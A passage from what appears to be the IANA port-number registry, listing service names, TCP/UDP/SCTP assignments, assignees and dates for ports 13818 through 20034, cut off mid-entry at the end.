dsmcc-config       13818       tcp    DSMCC Config                 [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-config       13818       udp    DSMCC Config                 [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-session      13819       tcp    DSMCC Session Messages       [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-session      13819       udp    DSMCC Session Messages       [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-passthru     13820       tcp    DSMCC Pass-Thru Messages     [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-passthru     13820       udp    DSMCC Pass-Thru Messages     [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-download     13821       tcp    DSMCC Download Protocol      [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-download     13821       udp    DSMCC Download Protocol      [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
dsmcc-ccp          13822       tcp    DSMCC Channel Change         [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
                                      Protocol
dsmcc-ccp          13822       udp    DSMCC Channel Change         [Tim_Addington]                                       [Tim_Addington]                                                                     [ISO/IEC 13818-6 MPEG-2 DSM-CC]
                                      Protocol
bmdss              13823       tcp    Blackmagic Design Streaming  [Sam_Vaughan]                                         [Sam_Vaughan]                                             2011-03-01
                                      Server
                   13823       udp    Reserved
                13824-13893           Unassigned
ucontrol           13894       tcp    Ultimate Control             [NEGU_Soft]                                           [borja_lopez_urkidi]                                      2012-09-10
                                      communication protocol
ucontrol           13894       udp    Ultimate Control             [NEGU_Soft]                                           [borja_lopez_urkidi]                                      2012-09-10
                                      communication protocol
                13895-13928           Unassigned
dta-systems        13929       tcp    D-TA SYSTEMS                 [Alexis_Bose]                                         [Alexis_Bose]                                             2008-12-08
dta-systems        13929       udp    D-TA SYSTEMS                 [Alexis_Bose]                                         [Alexis_Bose]                                             2008-12-08
medevolve          13930       tcp    MedEvolve Port Requester     [Jon_Robertson]                                       [Jon_Robertson]                                           2008-10-24
                   13930       udp    Reserved
                13931-13999           Unassigned
scotty-ft          14000       tcp    SCOTTY High-Speed            [Patrick_Verbeek]                                     [Patrick_Verbeek]                                         2007-05
                                      Filetransfer
scotty-ft          14000       udp    SCOTTY High-Speed            [Patrick_Verbeek]                                     [Patrick_Verbeek]                                         2007-05
                                      Filetransfer
sua                14001       tcp    SUA                          [Miguel_Angel_Garcia]                                 [Miguel_Angel_Garcia]
sua                14001       udp    De-Registered                [Miguel_Angel_Garcia]                                 [Miguel_Angel_Garcia]                                     2001-06-06
sua                14001      sctp    SUA                          [Miguel_Angel_Garcia]                                 [Miguel_Angel_Garcia]
scotty-disc        14002       udp    Discovery of a SCOTTY        [SCOTTY_Group_SE]                                     [Patrick_Verbeek_2]                                       2013-01-14
                                      hardware codec board
                   14002       tcp    Reserved
                14003-14032           Unassigned
sage-best-com1     14033       tcp    sage Best! Config Server 1   [Christian_Rubach]                                    [Christian_Rubach]
sage-best-com1     14033       udp    sage Best! Config Server 1   [Christian_Rubach]                                    [Christian_Rubach]
sage-best-com2     14034       tcp    sage Best! Config Server 2   [Christian_Rubach]                                    [Christian_Rubach]
sage-best-com2     14034       udp    sage Best! Config Server 2   [Christian_Rubach]                                    [Christian_Rubach]
                14035-14140           Unassigned
vcs-app            14141       tcp    VCS Application              [Ming_Xu]                                             [Ming_Xu]
vcs-app            14141       udp    VCS Application              [Ming_Xu]                                             [Ming_Xu]
icpp               14142       tcp    IceWall Cert Protocol        [Tsutomu_Fujinami]                                    [Tsutomu_Fujinami]                                        2005-08
icpp               14142       udp    IceWall Cert Protocol        [Tsutomu_Fujinami]                                    [Tsutomu_Fujinami]                                        2005-08
icpps              14143       tcp    IceWall Cert Protocol over   [Kenta_Kambara]                                       [Kenta_Kambara]                                           2016-05-24
                                      TLS
                   14143       udp    Reserved
                   14144              Unassigned
gcm-app            14145       tcp    GCM Application              [Ming_Xu]                                             [Ming_Xu]
gcm-app            14145       udp    GCM Application              [Ming_Xu]                                             [Ming_Xu]
                14146-14148           Unassigned
vrts-tdd           14149       tcp    Veritas Traffic Director     [Sameer_Deokule]                                      [Sameer_Deokule]                                          2002-03
vrts-tdd           14149       udp    Veritas Traffic Director     [Sameer_Deokule]                                      [Sameer_Deokule]                                          2002-03
vcscmd             14150       tcp    Veritas Cluster Server       [Anand_Bhalerao]                                      [Anand_Bhalerao]                                          2008-10-02
                                      Command Server
                   14150       udp    Reserved
                14151-14153           Unassigned
vad                14154       tcp    Veritas Application Director [Rajeev_Verma]                                        [Rajeev_Verma]                                            2006-02
vad                14154       udp    Veritas Application Director [Rajeev_Verma]                                        [Rajeev_Verma]                                            2006-02
                14155-14249           Unassigned
cps                14250       tcp    Fencing Server               [Mayank_Vasa]                                         [Mayank_Vasa]                                             2008-04-03
cps                14250       udp    Fencing Server               [Mayank_Vasa]                                         [Mayank_Vasa]                                             2008-04-03
                14251-14413           Unassigned
ca-web-update      14414       tcp    CA eTrust Web Update Service [Robert_Ciochon]                                      [Robert_Ciochon]                                          2006-08
ca-web-update      14414       udp    CA eTrust Web Update Service [Robert_Ciochon]                                      [Robert_Ciochon]                                          2006-08
                14415-14499           Unassigned
xpra               14500       tcp    xpra network protocol        [Xpra]                                                [Antoine_Martin]                                          2016-10-05
                   14500       udp    Reserved
                14501-14935           Unassigned
hde-lcesrvr-1      14936       tcp    hde-lcesrvr-1                [Horizon_Digital_Ente]                                [Horizon_Digital_Ente]
hde-lcesrvr-1      14936       udp    hde-lcesrvr-1                [Horizon_Digital_Ente]                                [Horizon_Digital_Ente]
hde-lcesrvr-2      14937       tcp    hde-lcesrvr-2                [Horizon_Digital_Ente]                                [Horizon_Digital_Ente]
hde-lcesrvr-2      14937       udp    hde-lcesrvr-2                [Horizon_Digital_Ente]                                [Horizon_Digital_Ente]
                14938-14999           Unassigned
hydap              15000       tcp    Hypack Data Aquisition       [HYPACK_Inc]                                          [Mircea_Neacsu]                                                        2011-10-27
hydap              15000       udp    Hypack Data Aquisition       [HYPACK_Inc]                                          [Mircea_Neacsu]                                                        2011-10-27
                   15001              Unassigned
onep-tls           15002       tcp    Open Network Environment TLS [Cisco_3]                                             [Andrew_Thurber]                                          2014-01-21
                   15002       udp    Reserved
                15003-15117           Unassigned
                   15118       tcp    Reserved
                                      v2g Supply Equipment
v2g-secc           15118       udp    Communication Controller     [Holger_Lochner]                                      [Holger_Lochner]                                          2011-04-06
                                      Discovery Protocol
                15119-15344           Unassigned
xpilot             15345       tcp    XPilot Contact Port          [Bert_Gijsbers]                                       [Bert_Gijsbers]
xpilot             15345       udp    XPilot Contact Port          [Bert_Gijsbers]                                       [Bert_Gijsbers]
                15346-15362           Unassigned
3link              15363       tcp    3Link Negotiation            [Brant_Thomsen]                                       [Brant_Thomsen]                                           2003-01
3link              15363       udp    3Link Negotiation            [Brant_Thomsen]                                       [Brant_Thomsen]                                           2003-01
                15364-15554           Unassigned
cisco-snat         15555       tcp    Cisco Stateful NAT           [Kaushik_Biswas]                                      [Kaushik_Biswas]                                          2006-03
cisco-snat         15555       udp    Cisco Stateful NAT           [Kaushik_Biswas]                                      [Kaushik_Biswas]                                          2006-03
                15556-15659           Unassigned
bex-xr             15660       tcp    Backup Express Restore       [Catalogic_Software_Inc]                              [Chi_Shih_Chang]                                          2008-03-19   2015-02-04
                                      Server
bex-xr             15660       udp    Backup Express Restore       [Catalogic_Software_Inc]                              [Chi_Shih_Chang]                                          2008-03-19   2015-02-04
                                      Server
                15661-15739           Unassigned
ptp                15740       tcp    Picture Transfer Protocol    [Petronel_Bigioi]                                     [Petronel_Bigioi]                                         2004-11                                                                                        Defined TXT keys: guid=<Device guid>
ptp                15740       udp    Picture Transfer Protocol    [Petronel_Bigioi]                                     [Petronel_Bigioi]                                         2004-11                                                                                        Defined TXT keys: guid=<Device guid>
                15741-15997           Unassigned
                   15998       tcp    Reserved
2ping              15998       udp    2ping Bi-Directional Ping    [Ryan_Finnie]                                         [Ryan_Finnie]                                             2010-10-06
                                      Service
programmar         15999       tcp    ProGrammar Enterprise        [Norman_Wilson]                                       [Norman_Wilson]                                           2010-10-06
                   15999       udp    Reserved
                                                                                                                                                                                                                                                                     Known
fmsas              16000       tcp    Administration Server Access [Mark_Davidson]                                       [Mark_Davidson]                                           2010-10-06                                                                        Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     16000
                                                                                                                                                                                                                                                                     Known
                   16000       udp    Reserved                                                                                                                                                                                                                       Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     16000
fmsascon           16001       tcp    Administration Server        [Mark_Davidson]                                       [Mark_Davidson]                                           2010-10-06
                                      Connector
                   16001       udp    Reserved
gsms               16002       tcp    GoodSync Mediation Service   [Vadim_Maslov]                                        [Vadim_Maslov]                                            2010-10-06
                   16002       udp    Reserved
                   16003       tcp    Reserved
alfin              16003       udp    Automation and Control by    [Ing_Tomas_Halabala]                                  [Ing_Tomas_Halabala]                                      2010-10-06
                                      REGULACE.ORG
                16004-16019           Unassigned
jwpc               16020       tcp    Filemaker Java Web           [Robert_Parks]                                        [Robert_Parks]                                            2010-05-12
                                      Publishing Core
                   16020       udp    Reserved
jwpc-bin           16021       tcp    Filemaker Java Web           [Robert_Parks]                                        [Robert_Parks]                                            2010-05-12
                                      Publishing Core Binary
                   16021       udp    Reserved
                16022-16160           Unassigned
sun-sea-port       16161       tcp    Solaris SEA Port             [Dana_Porter]                                         [Dana_Porter]                                             2003-10
sun-sea-port       16161       udp    Solaris SEA Port             [Dana_Porter]                                         [Dana_Porter]                                             2003-10
solaris-audit      16162       tcp    Solaris Audit - secure       [Jan_Friedel]                                         [Jan_Friedel]                                             2009-05-07
                                      remote audit log
                   16162       udp    Reserved
                16163-16308           Unassigned
etb4j              16309       tcp    etb4j                        [Christopher_R_Smith]                                 [Christopher_R_Smith]                                     2004-11
etb4j              16309       udp    etb4j                        [Christopher_R_Smith]                                 [Christopher_R_Smith]                                     2004-11
pduncs             16310       tcp    Policy Distribute, Update    [Diane_I_Shannon]                                     [Diane_I_Shannon]                                         2006-08
                                      Notification
pduncs             16310       udp    Policy Distribute, Update    [Diane_I_Shannon]                                     [Diane_I_Shannon]                                         2006-08
                                      Notification
pdefmns            16311       tcp    Policy definition and update [Diane_I_Shannon]                                     [Diane_I_Shannon]                                         2007-04
                                      management
pdefmns            16311       udp    Policy definition and update [Diane_I_Shannon]                                     [Diane_I_Shannon]                                         2007-04
                                      management
                16312-16359           Unassigned
netserialext1      16360       tcp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports One
netserialext1      16360       udp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports One
netserialext2      16361       tcp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports Two
netserialext2      16361       udp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports Two
                16362-16366           Unassigned
netserialext3      16367       tcp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports Three
netserialext3      16367       udp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports Three
netserialext4      16368       tcp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports Four
netserialext4      16368       udp    Network Serial Extension     [Michael_J_Hoy]                                       [Michael_J_Hoy]
                                      Ports Four
                16369-16383           Unassigned
connected          16384       tcp    Connected Corp               [Nicole_C_Ouellette]                                  [Nicole_C_Ouellette]                                      2004-02
connected          16384       udp    Connected Corp               [Nicole_C_Ouellette]                                  [Nicole_C_Ouellette]                                      2004-02
rdgs               16385       tcp    Reliable Datagram Sockets    [Oracle_7]                                            [Sowmini_Varadhan]                                        2015-04-30
                   16385       udp    Reserved
                16386-16618           Unassigned
xoms               16619       tcp    X509 Objects Management      [Francis_GASCHET]                                     [Francis_GASCHET]                                         2008-09-08
                                      Service
                   16619       udp    Reserved
                16620-16664           Unassigned
axon-tunnel        16665       tcp    Reliable multipath data      [Bridgeworks]                                         [Paul_Burgess]                                            2014-09-26
                                      transport for high latencies
                   16665       udp    Reserved
                   16666       tcp    Reserved
vtp                16666       udp    Vidder Tunnel Protocol       [Vidder_Inc]                                          [Ted_Schroeder_2]                                         2011-10-24
                16667-16788           Unassigned
                                      This server provides
                                      callable services to
cadsisvr           16789       tcp    mainframe External Security  [CA_Technologies]                                     [Thomas_Sakowski]                                         2015-06-02
                                      Managers from any TCP/IP
                                      platform
                   16789       udp    Reserved
                16790-16899           Unassigned
newbay-snc-mc      16900       tcp    Newbay Mobile Client Update  [Srinivasa_Nayudu]                                    [Srinivasa_Nayudu]                                        2009-07-06
                                      Service
newbay-snc-mc      16900       udp    Newbay Mobile Client Update  [Srinivasa_Nayudu]                                    [Srinivasa_Nayudu]                                        2009-07-06
                                      Service
                16901-16949           Unassigned
sgcip              16950       tcp    Simple Generic Client        [John_Aquilino]                                       [John_Aquilino]
                                      Interface Protocol
sgcip              16950       udp    Simple Generic Client        [John_Aquilino]                                       [John_Aquilino]
                                      Interface Protocol
                16951-16990           Unassigned
intel-rci-mp       16991       tcp    INTEL-RCI-MP                 [Jane_Dashevsky]                                      [Jane_Dashevsky]
intel-rci-mp       16991       udp    INTEL-RCI-MP                 [Jane_Dashevsky]                                      [Jane_Dashevsky]
amt-soap-http      16992       tcp    Intel(R) AMT SOAP/HTTP       [David_T_Hines]                                       [David_T_Hines]                                           2005-02
amt-soap-http      16992       udp    Intel(R) AMT SOAP/HTTP       [David_T_Hines]                                       [David_T_Hines]                                           2005-02
amt-soap-https     16993       tcp    Intel(R) AMT SOAP/HTTPS      [David_T_Hines]                                       [David_T_Hines]                                           2005-02
amt-soap-https     16993       udp    Intel(R) AMT SOAP/HTTPS      [David_T_Hines]                                       [David_T_Hines]                                           2005-02
amt-redir-tcp      16994       tcp    Intel(R) AMT Redirection/TCP [Nimrod_Diamant]                                      [Nimrod_Diamant]                                          2005-02
amt-redir-tcp      16994       udp    Intel(R) AMT Redirection/TCP [Nimrod_Diamant]                                      [Nimrod_Diamant]                                          2005-02
amt-redir-tls      16995       tcp    Intel(R) AMT Redirection/TLS [Nimrod_Diamant]                                      [Nimrod_Diamant]                                          2005-02
amt-redir-tls      16995       udp    Intel(R) AMT Redirection/TLS [Nimrod_Diamant]                                      [Nimrod_Diamant]                                          2005-02
                16996-17006           Unassigned
isode-dua          17007       tcp
isode-dua          17007       udp
                17008-17183           Unassigned
vestasdlp          17184       tcp    Vestas Data Layer Protocol   [Vestas_Wind_Systems]                                 [Teunis_de_Wit]                                           2013-10-30
                   17184       udp    Reserved
soundsvirtual      17185       tcp    Sounds Virtual               [Richard_Snider]                                      [Richard_Snider]
soundsvirtual      17185       udp    Sounds Virtual               [Richard_Snider]                                      [Richard_Snider]
                17186-17218           Unassigned
chipper            17219       tcp    Chipper                      [Ronald_Jimmink]                                      [Ronald_Jimmink]
chipper            17219       udp    Chipper                      [Ronald_Jimmink]                                      [Ronald_Jimmink]
                                      IEEE 1722 Transport Protocol
avtp               17220       tcp    for Time Sensitive           [Transport_Protocol_for_Time-Sensitive_Networking_TG] [Ashley_Butterworth]                                      2014-03-07
                                      Applications
                                      IEEE 1722 Transport Protocol
avtp               17220       udp    for Time Sensitive           [Transport_Protocol_for_Time-Sensitive_Networking_TG] [Ashley_Butterworth]                                      2014-03-07
                                      Applications
                                      IEEE 1722.1 AVB Discovery,
avdecc             17221       tcp    Enumeration, Connection      [IEEE_1722_1]                                         [Jeffrey_Daniel_Koftinoff]                                2011-11-01
                                      management, and Control
                                      IEEE 1722.1 AVB Discovery,
avdecc             17221       udp    Enumeration, Connection      [IEEE_1722_1]                                         [Jeffrey_Daniel_Koftinoff]                                2011-11-01
                                      management, and Control
                   17222       tcp    Reserved
                                      Control Plane
cpsp               17222       udp    Synchronization Protocol     [Randall_Stewart_2]                                   [Randall_Stewart_2]                                       2011-11-10
                                      (SPSP)
                                      ISA100 GCI is a service
                                      utilizing a common interface
isa100-gci         17223       tcp    between an ISA100 Wireless   [ISA100_Wireless_Compliance_Institute]                [Jay_Werb]                                                2015-07-24
                                      gateway and a client
                                      application
                   17223       udp    Reserved
trdp-pd            17224       udp    Train Realtime Data Protocol [IEC_Central_Office]                                  [Gianosvaldo_Fadin]                                       2015-07-24
                                      (TRDP) Process Data
                   17224       tcp    Reserved
trdp-md            17225       tcp    Train Realtime Data Protocol [IEC_Central_Office]                                  [Gianosvaldo_Fadin]                                       2015-07-24
                                      (TRDP) Message Data
trdp-md            17225       udp    Train Realtime Data Protocol [IEC_Central_Office]                                  [Gianosvaldo_Fadin]                                       2015-07-24
                                      (TRDP) Message Data
                17226-17233           Unassigned
integrius-stp      17234       tcp    Integrius Secure Tunnel      [Christian_Klemetsson]                                [Christian_Klemetsson]                                    2010-03-04
                                      Protocol
integrius-stp      17234       udp    Integrius Secure Tunnel      [Christian_Klemetsson]                                [Christian_Klemetsson]                                    2010-03-04
                                      Protocol
ssh-mgmt           17235       tcp    SSH Tectia Manager           [Ville_Laurikari]                                     [Ville_Laurikari]                                         2005-08
ssh-mgmt           17235       udp    SSH Tectia Manager           [Ville_Laurikari]                                     [Ville_Laurikari]                                         2005-08
                17236-17499           Unassigned
db-lsp             17500       tcp    Dropbox LanSync Protocol     [Paul_Bohm]                                           [Paul_Bohm]                                               2010-01-21
db-lsp-disc        17500       udp    Dropbox LanSync Discovery    [Paul_Bohm]                                           [Paul_Bohm]                                               2010-01-21
                17501-17554           Unassigned
ailith             17555       tcp    Ailith management of routers [Thomas_Boje]                                         [Thomas_Boje]                                             2014-03-27
                   17555       udp    Reserved
                17556-17728           Unassigned
ea                 17729       tcp    Eclipse Aviation             [William_Schmidt]                                     [William_Schmidt]                                         2006-03
ea                 17729       udp    Eclipse Aviation             [William_Schmidt]                                     [William_Schmidt]                                         2006-03
                17730-17753           Unassigned
zep                17754       tcp    Encap. ZigBee Packets        [Fred_Fierling]                                       [Fred_Fierling]                                           2006-02
zep                17754       udp    Encap. ZigBee Packets        [Fred_Fierling]                                       [Fred_Fierling]                                           2006-02
zigbee-ip          17755       tcp    ZigBee IP Transport Service  [Chris_Herzog]                                        [Chris_Herzog]                                            2006-05
zigbee-ip          17755       udp    ZigBee IP Transport Service  [Chris_Herzog]                                        [Chris_Herzog]                                            2006-05
zigbee-ips         17756       tcp    ZigBee IP Transport Secure   [Chris_Herzog]                                        [Chris_Herzog]                                            2006-05
                                      Service
zigbee-ips         17756       udp    ZigBee IP Transport Secure   [Chris_Herzog]                                        [Chris_Herzog]                                            2006-05
                                      Service
                17757-17776           Unassigned
sw-orion           17777       tcp    SolarWinds Orion             [Joel_Dolisy]                                         [Joel_Dolisy]                                             2008-09-10
                   17777       udp    Reserved
                17778-17999           Unassigned
biimenu            18000       tcp    Beckman Instruments, Inc.    [R_L_Meyering]                                        [R_L_Meyering]
biimenu            18000       udp    Beckman Instruments, Inc.    [R_L_Meyering]                                        [R_L_Meyering]
                18001-18103           Unassigned
radpdf             18104       tcp    RAD PDF Service              [Christopher_Truxaw]                                  [Christopher_Truxaw]                                      2010-10-15
                   18104       udp    Reserved
                18105-18135           Unassigned
racf               18136       tcp    z/OS Resource Access Control [Bruce_Wells]                                         [Bruce_Wells]                                             2010-10-04
                                      Facility
                   18136       udp    Reserved
                18137-18180           Unassigned
opsec-cvp          18181       tcp    OPSEC CVP                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-cvp          18181       udp    OPSEC CVP                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-ufp          18182       tcp    OPSEC UFP                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-ufp          18182       udp    OPSEC UFP                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-sam          18183       tcp    OPSEC SAM                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-sam          18183       udp    OPSEC SAM                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-lea          18184       tcp    OPSEC LEA                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-lea          18184       udp    OPSEC LEA                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-omi          18185       tcp    OPSEC OMI                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-omi          18185       udp    OPSEC OMI                    [Alon_Kantor]                                         [Alon_Kantor]
ohsc               18186       tcp    Occupational Health SC       [David_Fudge]                                         [David_Fudge]                                             2003-08
ohsc               18186       udp    Occupational Health Sc       [David_Fudge]                                         [David_Fudge]                                             2003-08
opsec-ela          18187       tcp    OPSEC ELA                    [Alon_Kantor]                                         [Alon_Kantor]
opsec-ela          18187       udp    OPSEC ELA                    [Alon_Kantor]                                         [Alon_Kantor]
                18188-18240           Unassigned
checkpoint-rtm     18241       tcp    Check Point RTM              [Dudi_Hazan]                                          [Dudi_Hazan]
checkpoint-rtm     18241       udp    Check Point RTM              [Dudi_Hazan]                                          [Dudi_Hazan]
iclid              18242       tcp    Checkpoint router monitoring [Check_Point_Software]                                [Rahul_Bahadur]                                           2012-06-28
                   18242       udp    Reserved
clusterxl          18243       tcp    Checkpoint router state      [Check_Point_Software]                                [Rahul_Bahadur]                                           2012-06-28
                                      backup
                   18243       udp    Reserved
                18244-18261           Unassigned
gv-pf              18262       tcp    GV NetConfig Service         [Scott_Libert]                                        [Scott_Libert]                                            2008-01-29
gv-pf              18262       udp    GV NetConfig Service         [Scott_Libert]                                        [Scott_Libert]                                            2008-01-29
                18263-18462           Unassigned
ac-cluster         18463       tcp    AC Cluster                   [Lisa_Zhong]                                          [Lisa_Zhong]
ac-cluster         18463       udp    AC Cluster                   [Lisa_Zhong]                                          [Lisa_Zhong]
                18464-18633           Unassigned
rds-ib             18634       tcp    Reliable Datagram Service    [Andy_Grover]                                         [Andy_Grover]                                             2009-02-27
rds-ib             18634       udp    Reliable Datagram Service    [Andy_Grover]                                         [Andy_Grover]                                             2009-02-27
rds-ip             18635       tcp    Reliable Datagram Service    [Andy_Grover]                                         [Andy_Grover]                                             2009-05-20
                                      over IP
rds-ip             18635       udp    Reliable Datagram Service    [Andy_Grover]                                         [Andy_Grover]                                             2009-05-20
                                      over IP
                18636-18667           Unassigned
vdmmesh            18668       tcp    Manufacturing Execution      [Van_Doren_MES]                                       [Edwin_van_de_Burgt]                                      2016-10-31
                                      Systems Mesh Communication
vdmmesh-disc       18668       udp    Manufacturing Execution      [Van_Doren_MES]                                       [Edwin_van_de_Burgt]                                      2016-10-31
                                      Systems Mesh Communication
                18669-18768           Unassigned
ique               18769       tcp    IQue Protocol                [Avi_Drissman]                                        [Avi_Drissman]                                            2002-07
ique               18769       udp    IQue Protocol                [Avi_Drissman]                                        [Avi_Drissman]                                            2002-07
                18770-18880           Unassigned
infotos            18881       tcp    Infotos                      [Marcel_Dube]                                         [Marcel_Dube]                                             2004-11
infotos            18881       udp    Infotos                      [Marcel_Dube]                                         [Marcel_Dube]                                             2004-11
                18882-18887           Unassigned
apc-necmp          18888       tcp    APCNECMP                     [Michael_Yip]                                         [Michael_Yip]
apc-necmp          18888       udp    APCNECMP                     [Michael_Yip]                                         [Michael_Yip]
                18889-18999           Unassigned
igrid              19000       tcp    iGrid Server                 [Massimo_Cafaro]                                      [Massimo_Cafaro]                                          2004-11
igrid              19000       udp    iGrid Server                 [Massimo_Cafaro]                                      [Massimo_Cafaro]                                          2004-11
                19001-19006           Unassigned
scintilla          19007       tcp    Scintilla protocol for       [Veejansh_Inc]                                        [Chirag_Patel]                                            2014-03-04
                                      device services
scintilla          19007       udp    Scintilla protocol for       [Veejansh_Inc]                                        [Chirag_Patel]                                            2014-03-04
                                      device services
                19008-19019           Unassigned
j-link             19020       tcp    J-Link TCP/IP Protocol       [SEGGER]                                              [SEGGER]
                   19020       udp    Reserved
                19021-19190           Unassigned
opsec-uaa          19191       tcp    OPSEC UAA                    [Reuven_Harrison]                                     [Reuven_Harrison]
opsec-uaa          19191       udp    OPSEC UAA                    [Reuven_Harrison]                                     [Reuven_Harrison]
                19192-19193           Unassigned
ua-secureagent     19194       tcp    UserAuthority SecureAgent    [Reuven_Harrison_2]                                   [Reuven_Harrison_2]                                       2003-01
ua-secureagent     19194       udp    UserAuthority SecureAgent    [Reuven_Harrison_2]                                   [Reuven_Harrison_2]                                       2003-01
                19195-19219           Unassigned
cora               19220       tcp    Client Connection Management [Softvise_GmbH]                                       [Ronny_Krüger]                                            2016-11-10
                                      and Data Exchange Service
                                      Discovery for Client
cora-disc          19220       udp    Connection Management and    [Softvise_GmbH]                                       [Ronny_Krüger]                                            2016-11-10
                                      Data Exchange Service
                19221-19282           Unassigned
keysrvr            19283       tcp    Key Server for SASSAFRAS     [Mark_Valence]                                        [Mark_Valence]
keysrvr            19283       udp    Key Server for SASSAFRAS     [Mark_Valence]                                        [Mark_Valence]
                19284-19314           Unassigned
keyshadow          19315       tcp    Key Shadow for SASSAFRAS     [Mark_Valence]                                        [Mark_Valence]
keyshadow          19315       udp    Key Shadow for SASSAFRAS     [Mark_Valence]                                        [Mark_Valence]
                19316-19397           Unassigned
mtrgtrans          19398       tcp    mtrgtrans                    [Katsuhito_Muroi]                                     [Katsuhito_Muroi]
mtrgtrans          19398       udp    mtrgtrans                    [Katsuhito_Muroi]                                     [Katsuhito_Muroi]
                19399-19409           Unassigned
hp-sco             19410       tcp    hp-sco                       [Larry_Schwartz]                                      [Larry_Schwartz]
hp-sco             19410       udp    hp-sco                       [Larry_Schwartz]                                      [Larry_Schwartz]
hp-sca             19411       tcp    hp-sca                       [Larry_Schwartz]                                      [Larry_Schwartz]
hp-sca             19411       udp    hp-sca                       [Larry_Schwartz]                                      [Larry_Schwartz]
hp-sessmon         19412       tcp    HP-SESSMON                   [Gita_Murthy]                                         [Gita_Murthy]
hp-sessmon         19412       udp    HP-SESSMON                   [Gita_Murthy]                                         [Gita_Murthy]
                19413-19538           Unassigned
fxuptp             19539       tcp    FXUPTP                       [Keiji_Okuma]                                         [Keiji_Okuma]                                             2005-08
fxuptp             19539       udp    FXUPTP                       [Keiji_Okuma]                                         [Keiji_Okuma]                                             2005-08
sxuptp             19540       tcp    SXUPTP                       [Keiji_Okuma]                                         [Keiji_Okuma]                                             2002-08
sxuptp             19540       udp    SXUPTP                       [Keiji_Okuma]                                         [Keiji_Okuma]                                             2002-08
jcp                19541       tcp    JCP Client                   [Yuji_Sasaki]                                         [Yuji_Sasaki]
jcp                19541       udp    JCP Client                   [Yuji_Sasaki]                                         [Yuji_Sasaki]
                19542-19787           Unassigned
mle                19788       udp    Mesh Link Establishment      [IESG]                                                [IETF_Chair]                                              2012-12-18
                   19788       tcp    Reserved
                19789-19997           Unassigned
iec-104-sec        19998       tcp    IEC 60870-5-104 process      [Grant_Gilchrist]                                     [Grant_Gilchrist]                                         2010-10-18
                                      control - secure
                   19998       udp    Reserved
dnp-sec            19999       tcp    Distributed Network Protocol [Grant_Gilchrist]                                     [Grant_Gilchrist]                                         2008-08-04
                                      - Secure
dnp-sec            19999       udp    Distributed Network Protocol [Grant_Gilchrist]                                     [Grant_Gilchrist]                                         2008-08-04
                                      - Secure
dnp                20000       tcp    DNP                          [Michael_Thesing]                                     [Michael_Thesing]
dnp                20000       udp    DNP                          [Michael_Thesing]                                     [Michael_Thesing]
microsan           20001       tcp    MicroSAN                     [Thomas_E_Ludwig]                                     [Thomas_E_Ludwig]                                         2004-02
microsan           20001       udp    MicroSAN                     [Thomas_E_Ludwig]                                     [Thomas_E_Ludwig]                                         2004-02
commtact-http      20002       tcp    Commtact HTTP                [Tomas_Svoboda]                                       [Tomas_Svoboda]                                           2004-12
commtact-http      20002       udp    Commtact HTTP                [Tomas_Svoboda]                                       [Tomas_Svoboda]                                           2004-12
commtact-https     20003       tcp    Commtact HTTPS               [Tomas_Svoboda]                                       [Tomas_Svoboda]                                           2004-12
commtact-https     20003       udp    Commtact HTTPS               [Tomas_Svoboda]                                       [Tomas_Svoboda]                                           2004-12
                   20004              Unassigned
openwebnet         20005       tcp    OpenWebNet protocol for      [BTicino_S_p_A]                                       [BTicino_S_p_A]                                           2008-04-09
                                      electric network
openwebnet         20005       udp    OpenWebNet protocol for      [BTicino_S_p_A]                                       [BTicino_S_p_A]                                           2008-04-09
                                      electric network
                20006-20011           Unassigned
                   20012       tcp    Reserved
ss-idi-disc        20012       udp    Samsung Interdevice          [Hong_Jungkih]                                        [Hong_Jungkih]
                                      Interaction discovery
ss-idi             20013       tcp    Samsung Interdevice          [Hong_Jungkih]                                        [Hong_Jungkih]
                                      Interaction
                   20013       udp    Reserved
opendeploy         20014       tcp    OpenDeploy Listener          [Todd_Scallan]                                        [Todd_Scallan]                                            2005-08
opendeploy         20014       udp    OpenDeploy Listener          [Todd_Scallan]                                        [Todd_Scallan]                                            2005-08
                20015-20033           Unassigned
                                      NetBurner ID Port

nburn-id           20034       tcp    IANA assigned this           [Paul_Breed]                                          [Paul_Breed]                                              2003-11
                                      well-formed service name as
                                      a replacement for
                                      "nburn_id".
                                                                                                                                                                                                                                                                                  This entry is an alias to "nburn-id". This entry is now
nburn_id           20034       tcp    NetBurner ID Port            [Paul_Breed]                                          [Paul_Breed]                                              2003-11                                                                                        historic, not usable for use with many common service
